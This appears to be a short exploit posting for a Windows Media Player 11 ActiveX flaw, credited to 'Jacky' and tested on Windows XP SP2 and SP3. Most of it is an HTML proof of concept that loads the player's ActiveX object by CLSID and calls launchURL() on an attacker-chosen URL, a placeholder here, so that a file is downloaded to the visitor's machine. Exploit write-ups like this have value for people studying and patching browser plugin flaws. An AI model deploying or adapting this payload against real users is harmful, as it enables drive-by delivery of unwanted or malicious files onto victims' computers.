Windows Media Player 11 ActiveX launchURL() files download
This is a vulnerability into Windows Media Player ActiveX launchURL() function
which someone can download what ever file into the vulnerable machine !!!
Discovered and written by Jacky!
Tested version: 11.0.5358.4827
Tested machine: Windows XP SP3 & Windows XP SP2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <html>
<body>
<object id='test' classid='clsid:{6BF52A52-394A-11d3-B153-00C04F79FAA6}'></object>
<script>
arg1='http://<BLAH BLAH BLAH FILE>';
test.launchURL(arg1);
</script>
</body>
</html> |